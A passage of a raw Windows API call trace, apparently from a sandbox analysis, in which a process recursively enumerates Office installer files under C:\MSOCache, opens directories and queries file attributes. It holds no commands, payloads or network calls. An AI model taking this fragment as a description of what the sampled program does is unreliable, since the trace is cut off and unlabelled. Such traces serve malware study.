hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4408 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbff0 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0231.235] GetLastError () returned 0x12 [0231.235] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd460 [0231.236] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0231.236] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0231.236] GetLastError () returned 0x12 [0231.236] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fbac8) returned 1 [0231.236] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0231.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fbbd0) returned 1 [0231.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb9c0) returned 1 [0231.237] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0231.237] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0231.237] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.237] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.237] GetLastError () returned 0x12 [0231.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0231.237] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0231.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0231.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0231.238] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0231.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.238] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0231.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0231.466] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0231.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0231.466] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0231.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0231.467] NtClose (Handle=0x1b0) returned 0x0 [0231.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0231.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0231.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0231.467] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0231.555] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.556] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4428 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb9c0 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4448 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbbd0 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6e28 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbac8 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x180) returned 0x8f4470 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3990) returned 1 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6e48 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc0f8 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6e68 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc200 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6e88 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc308 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6ea8 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc410 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, 